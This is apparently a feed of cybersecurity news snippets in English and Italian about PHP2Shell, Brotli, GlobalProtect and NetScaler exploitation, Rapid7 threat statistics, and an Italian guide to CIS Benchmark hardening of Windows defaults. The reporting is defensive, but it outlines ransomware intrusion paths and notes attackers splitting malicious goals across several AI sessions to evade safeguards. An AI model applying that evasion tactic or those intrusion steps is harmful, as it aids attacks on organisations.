rapid7

Lo dice Csirt: in Italia 285.149 servizi PHP risultano potenzialmente vulnerabili a PHP2Shell: sono l'81,9% di quelli con versione identificabile, non di tutti i 741.523 rilevati. Le falle consentono l'esecuzione di codice da remoto e, insieme a Fragnesia, possono portare fino ai privilegi di root L'articolo PHP2Shell in Italia: il rischio per oltre 285mila servizi PHP proviene da Cyber Security 360 .

Unpatched voting machines, unverifiable QR-coded ballots, and AI-driven influence campaigns leave US elections short of secure. The post How Secure Are US Elections? Voting Machine Risks and the Growing Threat of AI appeared first on SecurityWeek .

An attacker tried to exploit a critical GitLab vulnerability on the Alpine Linux project's own GitLab server a week after GitLab released a fix, Alpine Linux said on 28 October. The flaw, CVE-2026-97229 (CVSS score: 10.0), can let an attacker run code on a GitLab server through a crafted regular expression in a CI configuration. Alpine found no evidence that the attack worked but

The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Tuesday added two vulnerabilities impacting Adobe Commerce and Magento, and Google's Brotli decoder library to its Known Exploited Vulnerabilities (KEV) catalog, citing evidence of active exploitation. The vulnerabilities are listed below - CVE-2026-111497 (CVSS score: 9.2) - An unchecked return value vulnerability in

Cybersecurity researchers have disclosed details of three cyber attacks targeting organizations in Japan in which artificial intelligence (AI) was a key element, either in the driving seat or to assist a human operator. TrendAI, which analyzed three exposed server environments used by threat actors to conduct the malicious cyber operations, described them as distinct from previously published

A vulnerability in Brotli, Google’s widely used open-source compression library, is putting a broad range of software at risk. About CVE-2026-111497 Alternatively known as “Node2Shell”, “Broccoli2Shell” and “Brotli2Shell”, CVE-2026-111497 is a remotely exploitable out-of-bounds write flaw that gained widespread attention after Node.js publicly disclosed it on October 21, 2026. “An attacker who can supply Brotli data that an application decompresses with node:zlib can corrupt process memory, which can lead to a crash, disclosure of process … More → The post Brotli bug reaches far beyond Node.js (CVE-2026-111497) appeared first on Help Net Security .

71% of vulnerability exploitation starts within a week of disclosure Attackers are exploiting newly disclosed security flaws within days, leaving organizations little time to respond, according to Rapid7’s Q3 2026 Quarterly Threat Landscape Report. The company reported an average of three days between public disclosure and exploitation of high-severity vulnerabilities, with 71% of tracked exploitation occurring within the first week. Cumulative exploitation rate (Source: Rapid7) Exploitation puts pressure on fixed patching schedules Researchers tracked 43 newly exploited high- and critical-severity vulnerabilities during the quarter. Organizations relying on fixed remediation schedules are under pressure to distinguish vulnerabilities with high severity ratings from those posing an immediate, exploitable risk. Of those 43 vulnerabilities, 34 required neither authentication nor user interaction to exploit, giving attackers potential entry points into exposed systems. A CVSS score alone cannot tell security teams which systems are externally accessible, which vulnerabilities are being actively exploited, or whether existing controls can prevent or limit a compromise. State-linked groups target government and industry Rapid7 linked 15 known software vulnerabilities to six threat actors or clusters during the quarter. Targeted sectors included government, defense, aerospace, transportation, finance, energy, healthcare, and technology. A North Korea-linked toolkit was used against South Korean automotive and media organizations, likely beginning in early 2025. It combined a backdoor in modified HAProxy software with an SSH keylogger and a remote access tool. Russia-linked Void Blizzard has targeted organizations in NATO countries and Ukraine, while Pakistan-linked Operation C-Major has targeted Indian government and military personnel. AI appeared as an operational component in 8% of the threat reporting researchers tracked. In documented cases, humans continued to choose targets and objectives, while AI assisted with tactical decisions and execution. Some attackers split malicious objectives across multiple AI sessions to evade safeguards. “Board decks often confuse the real explosion in AI-driven vulnerability discovery with actual exploitation, which hasn’t materialized. Only 8% of tracked reporting cites AI as an operational component,” said Christiaan Beek, Vice President of Rapid7 Intelligence. U.S. share of government ransomware incidents grows Government-sector ransomware incidents among the top 10 reporting countries increased from 48 in the second quarter to 55 in the third, a 15% rise. The U.S. share grew from 33% to 45%, with incidents increasing from 16 to 25. Across all sectors, 1,112 U.S. ransomware leak-site listings were recorded. In its overall group rankings, The Gentlemen led with 342 listings, followed by Qilin with 339 and INC Ransom with 99. Access sales dominate underground posts Of 63 underground posts monitored during the quarter, 41 advertised Remote Desktop Protocol or network access. Another 14 involved selling, sharing, or discussing exploits or purported zero-days. Most referenced known vulnerabilities already covered by vendor advisories or CISA’s Known Exploited Vulnerabilities catalog, indicating rapid commercial repackaging of disclosed flaws.

This2Shell, That2Shell, Everything2Shell. That's pretty much how the last week went. Critical bugs that let attackers run code remotely are showing up everywhere. Hackers are scanning for targets, some flaws are already being used in attacks, and security teams have more urgent patches than they can keep up with. And that's not even the full story. A leaked key led to a software supply-chain

This week has already been rough for cybersecurity. Critical PHP and GitLab RCE flaws, serious Linux security bugs, compromised eMudhra certificates, a Node.js RCE flaw, a hacked LiteLLM release, and hundreds of hijacked Tor relays. That's a lot to deal with in just a few days. And the week isn't even over yet. But those big headlines are only half the story. Stolen passwords, exposed

Affecting the open source calling library RingRTC, the bug prevented calls from ending properly. The post Signal Vulnerability Lets Malicious Callers Block Hang-Ups appeared first on SecurityWeek .

Vendors are checking their products for PHP2Shell, security firms are shipping detections, and governments are urging immediate patching. The post Tech and Security Companies Respond to PHP2Shell Vulnerabilities appeared first on SecurityWeek .

Amazon's Threat Intelligence team on Wednesday said it detected an attempt to exploit the newly disclosed PHP2Shell vulnerabilities dating back to October 17, 2026, against its MadPot honeypot service, as the flaws come under broad exploitation in the wild following the release of the patches. "The exploit attempt originated from an IP address associated with a commercial anonymization network,

Up to 500 under-resourced utilities will receive support in order to bolster their cybersecurity through a private sector initiative launched this week.

Several cybersecurity companies saw exploitation attempts of CVE-2026-109618 and CVE-2026-109619 before PHP released the patches. The post PHP2Shell Patches Land as First Exploitation Attempts Hit Sensors appeared first on SecurityWeek .

Rapid7’s Q3 analysis finds high-severity flaws exploited within three days on average, while AI appeared in just 8% of tracked incidents. The post High-Severity Flaws Exploited in Three Days as Ransomware Dominates Q3: Rapid7 appeared first on SecurityWeek .

Ransomware gangs have been exploiting Palo Alto GlobalProtect VPN flaw since June Several ransomware groups are exploiting CVE-2026-0257, an authentication bypass in Palo Alto Networks’ PAN-OS GlobalProtect patched in May, to break into organizations in sectors ranging from healthcare and education to government and energy. CVE-2026-0257 stems from the firewalls relying on cookies without performing detailed validation and integrity checking, which allows remote, unauthenticated attackers to bypass security restrictions and establish an unauthorized VPN connection. The vulnerabilities affect the GlobalProtect portal and gateway of PAN’s physical and virtual firewalls running PAN-OS software, as well as Prisma Access. Palo Alto Networks initially rated the flaw medium severity when it disclosed it on May 13 and, on May 29, updated its advisory to say it had “become aware of limited exploit attempts on unpatched PAN-OS devices without mitigations applied.” By then, Rapid7 had reported that attackers targeted the local administrator account on its customers’ devices starting May 17, and that some of them reached internal networks in a second wave on May 21. On October 19, Unit 42 updated its threat brief on the flaw, naming Qilin and Inc among the ransomware operators exploiting it. The company’s incident responders have been investigating intrusions linked to the vulnerability since early June. “Attackers are leveraging this vulnerability to gain an initial foothold into corporate networks, subsequently bypassing multi-factor authentication (MFA) controls to establish a VPN session,” wrote Andy Piazza, Senior Director of Threat Intelligence at Palo Alto Networks Unit 42. Once inside, the attackers use legitimate IT management tools to explore the network, spread to other machines, and bring in tools to steal passwords and data before deploying ransomware. In one case Unit 42 investigated, the attackers went from the compromised VPN gateway to the vCenter management appliance, turned off security controls on the ESXi hypervisors, and ran a custom tool against a domain controller’s virtual disk to extract credentials offline. “This tactic bypasses in-guest endpoint detection and response (EDR) and security controls, representing a highly sophisticated method for obtaining domain-wide credentials.” “We have also observed actors chaining this initial access with other exploit tools, such as those targeting Veeam backup infrastructure (CVE-2023-27532), to maximize their impact,” added Piazza. Intruders posing as remote employees ReliaQuest also tracked exploitation by several threat groups, including the Qilin and Settra ransomware operations, and found Cobalt Strike, BloodHound and SharpHound in the related activity. “Because this access originates through an organization’s own VPN, malicious activity can resemble legitimate remote work and may go undetected until credential theft, lateral movement, data theft, or ransomware deployment is underway,” the company warned. Its analysts expect the attacks to go on, assessing that exploitation is “highly likely to continue over the next three months” as ransomware groups and initial access brokers look for unpatched systems. ReliaQuest advises organizations to upgrade affected deployments without delay, disable authentication override cookies where they are not needed, end all active GlobalProtect sessions after patching, and look into unexpected connections, including sessions with hostnames such as “kali.” “Patching alone may not remove access established before remediation,” the researchers cautioned. Subscribe to our breaking news e-mail alert to never miss out on the latest breaches, vulnerabilities and cybersecurity threats. Subscribe here!

SonicWall has released hotfixes for four flaws in its SMA1000 appliances, the gateways that give remote workers access to a company's network and applications. The most serious could allow an attacker without a login to send requests through the appliance and reach internal functions. SonicWall rates it 10.0 on the CVSS scale and says it has no evidence that any of the four flaws is being

Linux backdoors targeting telecom and network appliances in South Korea and Taiwan have been disguising their traffic as email services and seemingly legitimate processes to blend in and evade detection. Threat actors are known to name their malicious software after a legitimate operating system component or a process as a defense evasion measure. By borrowing the name of a real binary, it may

The word Conti struck fear in IT departments across the world. It's a type of ransomware that you hope to never come across. Like most ransomware gangs, the Conti group fell apart. But what's special about this story is how it fell apart. Because it fell apart in a very public, messy, scandalous way. Featuring investigative journalist Geoff White and cyber threat researcher Alex Holden. Sponsors This show is brought to you by Doppel . Doppel stops AI attacks with digital risk protection, human risk management, and email security on a unified social engineering defense platform.  doppel.com This show is sponsored by Maze . Maze uses AI agents to triage and remediate cloud vulnerabilities by figuring out what’s actually exploitable, not just what’s theoretically risky. They remove the noise, prioritize vulns that matter, and manage remediation, so your team stops wasting time on meaningless vulns. Visit MazeHQ.com/darknet for more information. Support for this show comes from ThreatLocker . ThreatLocker is a Zero Trust Platform that gives organizations control over what can run and what users and devices can access. It combines prevention with real time detection and automated response, helping security teams stop unauthorized activity and quickly contain compromised machines. Learn how ThreatLocker can strengthen your defenses at threatlocker.com/Darknet . View all active sponsors. Sources Full list of sources on the show page: https://darknetdiaries.com/episode/180/

Rapid7 has uncovered new BPFDoor, BPF Rekoobe and AVERAT malware variants targeting telecom and network-edge appliances in South Korea and Taiwan

La differenza tra un’infrastruttura difesa e un’infrastruttura semplicemente costosa non sta nel numero di prodotti di sicurezza acquistati, ma in ciò che succede quando un attaccante ha già un piede dentro. Nelle riunioni sul budget passano facilmente sempre le stesse voci: firewall di nuova generazione, EDR, SIEM, servizi MDR. Sono strumenti fondamentali, ma hanno un effetto poco nobile: si comprano e si mettono a bilancio. Molto più raramente si investe tempo nel fine tuning delle configurazioni dei sistemi che già abbiamo, che spesso restano ai default pensati per la compatibilità e non per la sicurezza. Eppure un dominio Active Directory che accetta ancora protocolli del 1993 e file server che non pretendono la firma dei pacchetti SMB possono vanificare buona parte di ciò che li circonda. Chi ottiene un primo accesso, magari con un semplice phishing , non ha bisogno di “bucare” il perimetro in quanto gli basta trovare un default permissivo e usarlo per muoversi lateralmente. Ci concentreremo su alcuni esempi in ambito Windows ma, come vedremo in seguito, il framework CIS prende in considerazione molti sistemi e software. Perché i default sono così permissivi? In Windows per garantire la compatibilità con quasi tutto ciò che è stato scritto negli ultimi trent’anni, molte configurazioni sicure sono opzionali . Un’azienda enterprise ha applicativi vecchi di quindici anni, NAS di terze parti, multifunzione e client che parlano protocolli superati. Se Microsoft cambiasse i default di colpo, mezzo mondo smetterebbe di funzionare. Il risultato è che la sicurezza reale viene demandata a chi amministra il sistema. La buona notizia è che esiste una guida condivisa e verificabile per correggere questi default: i CIS Benchmarks . In questo articolo vediamo da dove nascono, come sono strutturati e cosa cambia in pratica applicandoli, partendo da due casi concreti su Windows, NTLMv1 e la firma SMB , per poi allargare lo sguardo a cloud, rete, database e Linux. Vedremo anche perché l’adozione in un ambiente enterprise richiede mesi di test e come gli strumenti di compliance possano accelerare audit e remediation. Le origini: dal primo benchmark per Solaris a oltre cento guide Il Center for Internet Security (CIS) è un’organizzazione non profit statunitense nata come iniziativa di volontari, con l’obiettivo di produrre linee guida di configurazione pratiche e basate sul consenso. L’idea prende forma nel 2000 e il primo benchmark riguarda Solaris. Nel 2002 arriva il “Consensus Security Benchmark” per Windows 2000, frutto del lavoro congiunto di NSA, DISA, FBI, SANS e CIS. Nel 2008 debutta CIS-CAT, lo strumento per misurare la conformità. Il tratto distintivo è proprio il consenso . Un benchmark non è l’opinione di un singolo vendor. Nasce dal lavoro di esperti di governo, accademia e industria, passa da fasi di proposta, test e revisione e viene pubblicato in bozza per commenti pubblici prima della versione finale. Oggi se ne contano più di cento, su oltre venticinque famiglie di prodotti . I PDF sono gratuiti per uso non commerciale , mentre gli strumenti di automazione (CIS-CAT Pro, Build Kit, immagini hardened) richiedono la membership SecureSuite. Cosa contiene un benchmark e cosa significano L1 e L2 Attenzione a non confonderli con i CIS Controls , che sono azioni di alto livello e prioritizzate, come l’inventario degli asset o la gestione delle vulnerabilità. I Benchmark sono invece documenti tecnici, uno per ogni prodotto e versione, che spiegano come configurarlo. Ogni raccomandazione descrive il rischio che riduce, il profilo a cui appartiene e, soprattutto, l’ impatto che può avere sul sistema: è la parte da leggere prima di applicare qualsiasi cosa. Poi indica come verificare lo stato attuale (percorso GPO, chiave di registro o comando), come correggerlo e qual è il valore di default , che è spesso il campo più istruttivo, perché misura la distanza tra ciò che il sistema fa da solo e ciò che dovrebbe fare. Le raccomandazioni sono organizzate in livelli : Level 1 (L1): la base, applicabile con relativa rapidità e senza impatti pesanti. Riduce la superficie d’attacco mantenendo i sistemi usabili. Level 2 (L2): la difesa in profondità, pensata per ambienti in cui la sicurezza è prioritaria. Può limitare funzionalità e richiede una gestione delle eccezioni. A questi si aggiungono profili opzionali come BitLocker (BL) , Next Generation Windows Security (NG) e, in alcuni casi, un profilo allineato alle STIG del DoD statunitense. Nei benchmark Windows Server, L1 e L2 esistono poi in versione Domain Controller e Member Server , perché un DC non si hardenizza come un file server. Alcuni esempi con il benchmark per Windows Server Ho preso come esempio il CIS Benchmark per Windows Server 2022 (versione 5.1.0). E’ possibile scaricarlo, o scaricarne altri, è necessario eseguire la registrazione gratuita su https://learn.cisecurity.org/benchmarks Dopo la registrazione si accede a un’ampia raccolta di benchmark. In questo caso prendiamo come esempio due configurazioni di Windows: NTLMv1 e la firma SMB. Un sistema Windows, server o client, senza particolari criteri di gruppo si attesta intorno al 20% di compliance rispetto al benchmark. NTLMv1: il vecchio protocollo che non se ne va NTLM è un protocollo di autenticazione challenge/response che convive con Kerberos in Active Directory. Ogni volta che Kerberos non è utilizzabile (accesso tramite IP, SPN sconosciuto, client fuori dominio) Windows ripiega su NTLM. La versione 1 usa crittografia debole: gli hash catturati sulla rete possono essere attaccati offline o inoltrati in attacchi di relay, ed è per questo una delle cause principali dei movimenti laterali (pass-the-hash o PtH) e privilege escalation (PE). In questo precedente articolo avevamo simulato gli effetti di questo protocollo e le conseguenze. Il benchmark raccomanda, al livello L1, di impostare Network security: LAN Manager authentication level su “Send NTLMv2 response only. Refuse LM & NTLM” . Nel Windows Server 2022 Benchmark v5.1.0 è la raccomandazione 2.3.11.7 , ma la stessa indicazione era già presente nel benchmark per Server 2012 R2 del 2016. La numerazione cambia tra le versioni, quindi verificate sempre quella del documento che state usando. Il dettaglio interessante è il default: i client usano già solo NTLMv2, ma i Domain Controller accettano ancora LM, NTLM e NTLMv2 . Un dominio “pulito” per impostazione predefinita accetta quindi protocolli obsoleti, e basta un dispositivo datato per continuare a usarli. La configurazione si fa da GPO in Computer Configuration → Policies → Windows Settings → Security Settings → Local Policies → Security Options oppure direttamente dal registro, alla chiave HKLM\SYSTEM\CurrentControlSet\Control\Lsa, impostando il valore LmCompatibilityLevel (REG_DWORD) a 5. Anche se le configurazioni risultano complicate da capire, il documento CIS è una guida chiara su cosa applicare e cosa non, con dettagli chiari riguardo all’impatto che leggiamo qui sotto. Sui DC, i client che non supportano NTLMv2 non riusciranno più ad autenticarsi. Un vecchio client XP o 2000 fallisce il logon, incrementa il contatore delle password errate e, con il lockout attivo, può portare al blocco dell’account. Il percorso corretto è quindi audit, identificazione, migrazione ed enforcement , mai il contrario. Il benchmark include le impostazioni di auditing NTLM (le 2.3.11.12–14) e nel Security log l’evento 4624 riporta il pacchetto di autenticazione usato: cercate le sessioni con “NTLM V1”. Piccola nota : NTLMv1 è stato rimosso da Windows 11 24H2 e Windows Server 2025 , a prescindere dal valore di LmCompatibilityLevel. Restano però dei residui di crittografia derivata da NTLMv1 in scenari come MS-CHAPv2 nei domini, per cui Microsoft sta introducendo modalità audit ed enforcement (con l’evento 4024) e raccomanda l’uso di Credential Guard . Il problema è che la flotta reale non è tutta 24H2. Finché convivono Windows 10, Windows 11 23H2 e Server 2016/2019/2022, la questione è viva. E la sola GPO potrebbe non bastare: secondo la ricerca di Silverfort , chi si affida solo alle policy resta esposto e deve anche rilevare e mitigare l’uso di NTLMv1. Il quadro più ampio è una roadmap in tre fasi : NTLM è deprecato da giugno 2024, l’auditing avanzato è già disponibile e con la prossima versione di Windows Server e dei client verrà disabilitato di default . Non rimosso, ma riabilitabile via policy. Chi ha già fatto il lavoro di audit parte in netto vantaggio. Firma SMB: il default che (quasi) non ti protegge Senza firma, i messaggi SMB non hanno alcuna garanzia di integrità né di autenticità. Un attaccante sulla rete può inoltrare un’autenticazione NTLM catturata verso un altro server e agire con l’identità della vittima. La firma inserisce in ogni messaggio un hash generato con la chiave di sessione, così qualsiasi manomissione viene rilevata e il relay attack viene bloccato. Sento spesso dire che la firma SMB è ormai obbligatoria di default. È vero solo in parte. Secondo la documentazione Microsoft , Windows 11 24H2 nelle edizioni Pro, Enterprise ed Education la richiede sia in uscita sia in ingresso, mentre Windows Server 2025 la richiede solo in uscita . Sull’edizione Home le pagine Microsoft non sono coerenti tra loro, ma in ambito enterprise non è rilevante. Sulle versioni precedenti (Windows 10 e Server fino al 2022) la firma era richiesta di default solo per le connessioni alle share SYSVOL e NETLOGON dei domain controller. In un’infrastruttura reale, con file server 2016, 2019 o 2022, il default non ti protegge . E nemmeno 24H2 chiude la partita: come osserva DSInternals , queste modifiche eliminano alcuni vettori di relay ma non mitigano la tecnica del tutto. Il CIS prevede due raccomandazioni L1, una per lato: Microsoft network client: Digitally sign communications (always) , la 2.3.8.1 , e la 2.3.9.2 Microsoft network server: Digitally sign communications (always) , entrambe su Enabled . Nel registro si trovano sotto LanManServer\Parameters e LanManWorkstation\Parameters, con il valore RequireSecuritySignature impostato a 1. Anche qui, l’impatto. Il server non comunicherà con client che non accettano la firma. La richiesta può bloccare le connessioni verso computer in workgroup, share con accesso guest e server SMB di terze parti che non la supportano: NAS datati, apparati embedded, Samba non configurato, scanner con scan-to-folder. L’errore tipico è STATUS_INVALID_SIGNATURE (0xc000a000). Ogni pacchetto va inoltre firmato e verificato, quindi su server multiruolo il rallentamento può essere sensibile. La strada è sempre la stessa: inventariare share e client legacy, aggiornare, sostituire o segmentare i dispositivi non compatibili e applicare la policy a ondate. Altri default da rivedere Questi due casi sono la punta dell’iceberg. Sempre in ambito Windows, il benchmark ci ricorda per esempio di (tra parentesi il codice della raccomandazione e il livello): Disattivare LLMNR e NetBIOS , che permettono il poisoning delle richieste di risoluzione dei nomi (con strumenti come Responder) per rubare hash NTLMv2 (18.6.4.4 per LLMNR; 18.4.6 e 18.6.4.2 per NetBIOS; L1). Firmare LDAP e abilitare il channel binding , contro i relay verso i DC. Su Server 2025 la firma LDAP è di fatto richiesta salvo disattivazione esplicita, mentre su 2019 e 2022 il default era permissivo e il channel binding non è richiesto di default (2.3.5.4 firma e 2.3.5.3 channel binding sui DC, 2.3.11.9 firma lato client; L1). Verificare che SMBv1 sia assente : non è installato di default su Windows 11 e Server 2019 e successivi, ma nei parchi stratificati va controllato (18.4.2 driver client e 18.4.3 server; L1). Controllare che WDigest sia disattivo (UseLogonCredential=0), per non lasciare password in chiaro nella memoria di LSASS (18.4.7; L1). Limitare le cifrature Kerberos deboli come RC4 e DES, più facili da attaccare offline (2.3.11.4; L1). Disabilitare il Print Spooler sui Domain Controller , dove non serve (5.1, L1; sui Member Server 5.2, L2), e chiudere l’enumerazione anonima di utenti e share (2.3.10.2 e 2.3.10.3; L1). Attivare LSA Protection e Credential Guard contro il furto di credenziali dalla memoria (LSA Protection 18.9.26.2 e Credential Guard 18.9.5.5 sui Member Server; entrambi profilo NG). Sui DC il benchmark prevede invece Credential Guard disabilitato (18.9.5.6). Codici e livelli (L1, L2 o NG) sono quelli del benchmark per Windows Server 2022 e possono cambiare da una versione all’altra, quindi confrontateli sempre con il documento di riferimento. Il CIS non copre solo Windows I CIS Benchmarks coprono ormai gran parte di ciò che compone un’infrastruttura moderna. Includono: cloud provider (AWS, Azure, Google Cloud, Alibaba, IBM Cloud, Oracle Cloud) e le piattaforme SaaS come Microsoft 365, Google Workspace e Dynamics 365 Power Platform. sistemi operativi , da macOS ad AIX e Solaris, fino a un’ampia famiglia Linux (RHEL, Rocky, AlmaLinux, Debian, Ubuntu, SUSE, Amazon Linux, Bottlerocket e altre) server software , come database (SQL Server, Oracle, MySQL, PostgreSQL, MongoDB), web server (Apache, NGINX, Tomcat, IIS), Docker, Kubernetes e VMware. E ci sono gli apparati di rete (Cisco, Fortinet, Palo Alto, Check Point, Juniper, F5, Sophos, pfSense), i software desktop (Exchange, Office, Zoom, i principali browser), i dispositivi mobili iOS e Android e persino le stampanti multifunzione . Il catalogo si è spinto fino alla software supply chain : il primo benchmark riguardava un sistema Unix , oggi ne esiste uno per la sicurezza della catena di sviluppo, e questo racconta bene come è cambiata la superficie d’attacco. La logica è la stessa ovunque: il rischio sta nelle configurazioni lasciate ai default . Nel cloud, il rischio dominante non sono gli exploit sul provider ma le misconfigurazioni lato cliente: MFA mancante sugli account privilegiati, chiavi di accesso sul root , logging di audit disattivato, storage pubblico, gruppi di sicurezza che espongono SSH o RDP a tutta Internet. Sugli apparati di rete, firewall e switch entrano spesso in produzione con la configurazione minima, con interfacce di gestione raggiungibili ovunque, Telnet, HTTP e SNMPv1/v2c ancora attivi e credenziali di default. Su database e web server il benchmark chiede autenticazione obbligatoria, ascolto solo sulle interfacce necessarie e TLS moderno; su Docker e Kubernetes, container non privilegiati, accesso anonimo all’API server disabilitato e RBAC corretto. Le multifunzione, infine, sono computer completi con disco, rete e credenziali di dominio, ma raramente vengono trattate come tali: è lo stesso ragionamento dei NAS che non supportano la firma SMB. E Linux? Vale lo stesso discorso, con profili separati per Server e Workstation: SSH con login root disabilitato e autenticazione a chiave, /tmp montato con nodev,nosuid,noexec, filesystem inutili disabilitati, ASLR attivo, firewall in deny di default e auditd configurato. Nella documentazione di Wazuh un Ubuntu 22.04 con le impostazioni di default supera 56 controlli CIS su 191 (87 falliti, 48 non applicabili), con un punteggio del 39%. Anche un Linux appena installato è ben lontano da un hardening accettabile. Più di tre mesi di lavoro: non è un’attività da weekend Ammetto una cosa che nei tutorial di solito manca: applicare un benchmark in un ambiente enterprise eterogeneo non significa importare una GPO . Nella mia esperienza ci sono voluti più di tre mesi , quasi tutti spesi in test interni su sistemi diversi tra loro, perché molte regole hanno impatti significativi. Il metodo che ha funzionato parte da un inventario onesto di sistemi operativi, ruoli (DC, file server, workstation, laboratori, sistemi industriali) e applicativi legacy. Da lì serve un profilo per ogni ruolo : kiosk, workstation di sviluppo, PC di produzione e macchine con dipendenze VPN o di stampa datate non possono ricevere lo stesso baseline, e le eccezioni vanno documentate. Dove esiste una modalità audit, come per NTLM e LDAP, si parte da lì e si leggono i log per settimane. Poi si procede a ondate , dal laboratorio al pilota IT, al reparto pilota, all’intera azienda, monitorando ticket e log a ogni passaggio, con un backup delle GPO e una procedura di rollback già testata. Fondamentale il registro delle eccezioni . Ogni deviazione dal benchmark deve avere un responsabile, una motivazione e una data di revisione, perché un’eccezione senza scadenza diventa un default. Il Level 2 va infine trattato come un progetto a parte, perché cambia il carico di eccezioni e il modello di supporto. E il benchmark è più facile da difendere quando le basi funzionano già: patching, Defender, chiavi BitLocker, password dell’admin locale e monitoraggio di base. Gli strumenti che accelerano Fare tutto a mano su centinaia di macchine non è realistico e ancor più avere tutto sotto controllo, in particolare quando cominciano a nascere dei problemi. Gli strumenti di compliance eseguono un audit automatico sul parco macchine, associano a ciascun sistema il benchmark CIS di riferimento e producono report che mostrano dove intervenire , con priorità. Ce ne sono di commerciali, come ManageEngine, Tenable Nessus, Qualys e Rapid7, oltre a CIS-CAT Pro, lo strumento ufficiale del CIS. Controllate sempre che siano certificati CIS per la versione del benchmark che vi serve. Tra le soluzioni open source vale la pena conoscere il modulo SCA (Security Configuration Assessment) di Wazuh . L’agent Wazuh scansiona l’endpoint con delle policy in formato YAML , abilitate di default e già basate sui CIS Benchmarks. Tra le policy incluse ci sono Windows 10 e 11, Windows Server dal 2012 R2 al 2025, le principali distribuzioni Linux e alcune applicazioni come IIS, NGINX e SQL Server. Dalla dashboard si vede, per ogni macchina, quanti controlli sono superati o falliti e con quale punteggio, con descrizione e remediation di ogni check. Ed è esattamente la fotografia di partenza che serve prima di toccare una GPO. Dashboard Wazuh, modulo Configuration Assessment, con il riepilogo della policy CIS su un agent Windows (Passed / Failed / Not applicable e punteggio). Dettaglio di un check, ad esempio LmCompatibilityLevel, con razionale e remediation. L’SCA rileva e riporta, ma non corregge: la remediation resta a GPO o gestione della configurazione. E come per ogni scanner, un report non sostituisce il giudizio dell’analista. Nella community sono stati segnalati falsi positivi dovuti a errori nelle regole (per esempio uno spazio di troppo in un check Windows), quindi un controllo fallito su un sistema che sembra a posto va verificato a mano prima di intervenire. Una nota dolente è che di default le baseline non sono aggiornate. Infatti attualmetne ci troviamo le verisoni v2.0.0 quando sono state appena rilasciate le v5.1.0, quindi potrebbero mancarne. Un altro strumento interessante è ManageEngine Vulnerability Manager Plus che, oltre alle funzionalità di vulnerability discovery e patch management , dispone di un modulo di compliance in cui è possibile associare gruppi di host ai benchmark e valutarne rapidamente la conformità. Dashboard ManageEngine Endpoint Central, modulo Conformità, con lo stato di conformità di un gruppo di computer, la suddivisione per fasce di percentuale e il dettaglio per singolo host. Dettaglio della scansione con il CIS Microsoft Windows 10 Enterprise Benchmark v2.0.0 (Level 1, BitLocker): 20% di conformità, con la regola sul livello di autenticazione LAN Manager (NTLMv2) segnalata come non superata e la relativa remediation. Conclusione Firewall ed EDR restano strati indispensabili, ma poggiano su sistemi che, lasciati ai default, offrono scorciatoie note da vent’anni: NTLMv1 accettato dai DC, share senza firma SMB, LLMNR attivo, LDAP non firmato, console di gestione esposte, bucket pubblici. È questo che trasforma un singolo endpoint compromesso in un dominio compromesso. I CIS Benchmarks non sono una bacchetta magica, ma sono un punto di partenza concreto, condiviso e verificabile . Dicono cosa cambiare, dove, con quale impatto e come dimostrare di averlo fatto. Il prezzo è il tempo, tra test, eccezioni e comunicazione con gli utenti. In cambio si riduce la superficie d’attacco in modo strutturale, senza acquistare nulla di nuovo. L'articolo Basta un PC compromesso per entrare in tutta l’azienda! La colpa? I vecchi default di Windows proviene da Red Hot Cyber .

Police in Spain have arrested a 16-year-old whom investigators suspect of running the KillSec ransomware group. KillSec is accused of stealing data from organizations and threatening to publish it on its leak site unless they paid. The 16-year-old was one of 3 people arrested on September 30, when police also took control of that site. Investigators identified him as KillSec's suspected

Vulnerability in Cisco Catalyst SD-WAN Manager allows an unauthenticated, remote attacker to access systems with admin privileges

A OnePlus 15 running the latest OxygenOS can be rooted by a malicious app the owner installs, one that asks for no special permissions. A researcher, Rasmus Moorats, chained two flaws in OnePlus's own software to gain root access, the highest level of control over an Android phone. OnePlus told him the same flaws affect many more of its own devices and those of OPPO, though it has not

The US Cybersecurity and Infrastructure Security Agency (CISA) on Wednesday warned that threat actors have been exploiting a critical-severity NetScaler vulnerability in attacks. Tracked as CVE-2026-19490 (CVSS score of 9.3), the security defect impacts all NetScaler ADC and NetScaler Gateway appliances configured as a gateway (SSL VPN, ICA Proxy, CVPN, RDP Proxy) or an AAA virtual server. Citrix patched the flaw on August 19, when cybersecurity firm Rapid7 warned that it could be exploited remotely without authentication. Rapid7 also said it was expecting threat actors to start exploiting the bug shortly, given the nature of NetScaler deployments within enterprise environments. “Organizations should prioritize patching affected systems on an emergency basis, since Citrix products are high-value targets that tend to quickly see exploitation in the wild,” the company said. On Wednesday, CISA added CVE-2026-19490 to its Known Exploited Vulnerabilities (KEV) catalog, urging federal agencies to patch it within three days, in line with BOD 26-04’s requirements. While the cybersecurity agency has not provided details on the observed exploitation attempts, its alert comes roughly a week after Previdian founder and former WatchTowr head of threat intelligence Ryan Dewhurst warned that hackers started exploiting the vulnerability. “An unverified but credible PoC appeared yesterday. Today, 3 IPs across 3 countries sent matching requests to our sensor,” Dewhurst said. CVE-2026-19490’s exploitation has been ongoing since at least September 3, one day after an exploit targeting it was published on GitHub, data from Previdian shows. Related: Organizations Warned of Cisco Secure FMC Exploitation Related: New ‘ShieldCrash’ Zero-Day Exploit Targets Microsoft Defender Related: Fortinet Code Execution Flaw Exploited in PivotC2 RAT Attacks Related: N-able Patches Critical Zero-Day in N-central

Rapid7: risolte vulnerabilità in Velociraptor Alert AL04/260910/CSIRT-ITA Sintesi Rapid7 ha rilasciato aggiornamenti di sicurezza per Velociraptor, piattaforma open source per attività di digital forensics e risposta agli incidenti, che sanano alcune vulnerabilità, di cui una con gravità "critica" e una con gravità "alta". Tali vulnerabilità potrebbero consentire, ad utenti con privilegi limitati, di eludere le restrizioni di sicurezza applicate ad alcune funzionalità per ottenere privilegi più elevati e eseguire codice arbitrario attraverso contenuti di backup opportunamente predisposti durante le operazioni di ripristino. Tipologia Arbitrary Code Execution Elevation of Privilege Prodotti e/o versioni affette Velociraptor (Linux source repo), versioni precedenti alla 0.77.2 N.B. Si evidenzia che il prodotto elencati risultano vulnerabili nel caso in cui siano configurati come indicato nel bollettino di sicurezza di Rapid7. Azioni di mitigazione In linea con le dichiarazioni del vendor, si raccomanda di aggiornare i prodotti vulnerabili seguendo le indicazioni dei relativi bollettini di sicurezza riportati nella sezione Riferimenti.

